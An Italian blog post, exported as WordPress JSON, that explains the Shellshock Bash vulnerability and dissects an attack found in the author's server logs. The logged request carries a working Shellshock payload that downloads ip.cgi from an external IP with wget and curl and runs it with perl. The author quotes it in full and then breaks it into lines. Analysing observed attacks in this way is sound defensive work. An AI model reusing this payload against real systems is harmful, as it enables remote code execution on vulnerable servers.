{"id":732,"date":"2015-01-14T07:39:02","date_gmt":"2015-01-14T07:39:02","guid":{"rendered":"http:\/\/www.budus.it\/Blog\/?p=732"},"modified":"2015-01-14T07:39:02","modified_gmt":"2015-01-14T07:39:02","slug":"shellshock-bug-nella-bash","status":"publish","type":"post","link":"https:\/\/www.budus.it\/Blog\/shellshock-bug-nella-bash\/","title":{"rendered":"Shellshock: Bug nella Bash"},"content":{"rendered":"<p>La famigerata\u00a0<strong>Shellshock\u00a0<\/strong>, anche conosciuta come\u00a0<strong>Bashdoor\u00a0<\/strong>, \u00e8 una\u00a0<em>famiglia di problemi di sicurezza\u00a0<\/em>presente nell&#8217;ampiamente utilizzata Shell UNIX\u00a0<strong><em>Bash<\/em><\/strong><em>\u00a0<\/em>dove, il primo buco rilevato, \u00e8 stato evidenziato a partire dal 24 Settembre 2014.<\/p>\n<p>Numerosi servizi internet, come ad esempio i Web Servers, utilizzano\u00a0<strong><em>Bash<\/em><\/strong><em>\u00a0<\/em>per elaborare alcune richieste e, nel caso in cui sia utilizzata una versione vulnerabile, consentono ad un potenziale malintenzionato di eseguire codice malevolo in remoto.<em><br \/>\n<\/em><\/p>\n<p>Si tratta di un problema estremamente grave perch\u00e9 consente ad un\u00a0<em>cracker\u00a0<\/em>di ottenere l&#8217;accesso e i privilegi di amministratore sul sistema attaccato, con tutti i problemi che ne conseguono.<\/p>\n<p>Il bug in questione consente di eseguire un comando di sistema nel momento in cui lo si va a concatenare alla fine di una definizione di funzione salvata all&#8217;interno di una variabile d&#8217;ambiente.<\/p>\n<p>Di questo gravissimo problema ho letto alcuni mesi fa e solo oggi (14\/01\/2015) un sito che amministro &#8211; e di cui controllo frequentemente i logs &#8211; risulta aver subito un attacco, eccolo:<\/p>\n<pre>\"GET\u00a0\/cgi-bin\/test.cgi\u00a0HTTP\/1.0\" 404 940 \"-\" \"() { :;}; \/bin\/bash -c \\\"cd \/var\/tmp ; wget http:\/\/185.56.60.83\/ip.cgi ; curl -O http:\/\/185.56.60.83\/ip.cgi;perl ip.cgi;perl \/var\/tmp\/ip.cgi\\\"\"<\/pre>\n<p>L&#8217;attaccante &#8211; che, nel caso specifico, risulta provenire dall&#8217;Olanda &#8211; cerca si sfruttare la presenza del file &#8220;test.cgi&#8221; e di passargli la definizione di una funzione vuota prima:<\/p>\n<pre>() { :;};<\/pre>\n<p>e, successivamente, gli accoda questo comando:<\/p>\n<pre>\/bin\/bash -c \\\"cd \/var\/tmp ; wget http:\/\/185.56.60.83\/ip.cgi ; curl -O http:\/\/185.56.60.83\/ip.cgi;perl ip.cgi;perl \/var\/tmp\/ip.cgi\\\"<\/pre>\n<p>che possiamo &#8211; per chiarezza &#8211; scomporre in pi\u00f9 righe:<\/p>\n<pre>cd \/var\/tmp\r\nwget http:\/\/185.56.60.83\/ip.cgi\r\ncurl -O http:\/\/185.56.60.83\/ip.cgi\r\nperl ip.cgi\r\nperl \/var\/tmp\/ip.cgi<\/pre>\n<p>dove viene:<\/p>\n<ol>\n<li>Resa corrente la cartella &#8220;\/var\/tmp&#8221;.<\/li>\n<li>Scaricato un CGI (&#8220;ip.cgi&#8221;) sia con il metodo &#8220;WGET&#8221; che &#8220;CURL&#8221; (uno dei due andr\u00e0 !)<\/li>\n<li>Lanciata l&#8217;esecuzione tramite PERL .<\/li>\n<\/ol>\n<p>Nel momento in cui scrivo non ho la possibilit\u00e0 di scaricarmi il CGI per analizzarne il contenuto, ma intendo farlo appena possibile.<\/p>\n<p>E&#8217; immaginabile che il suo scopo sia tutt&#8217;altro che amichevole ma, la cosa che pi\u00f9 mi ha incuriosito, \u00e8 la modalit\u00e0 con la quale sia possibile bucare un web server, veramente inquietante.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>La famigerata\u00a0Shellshock\u00a0, anche conosciuta come\u00a0Bashdoor\u00a0, \u00e8 una\u00a0famiglia di problemi di sicurezza\u00a0presente nell&#8217;ampiamente utilizzata Shell UNIX\u00a0Bash\u00a0dove, il primo buco rilevato, \u00e8 stato evidenziato a partire dal 24 Settembre 2014. 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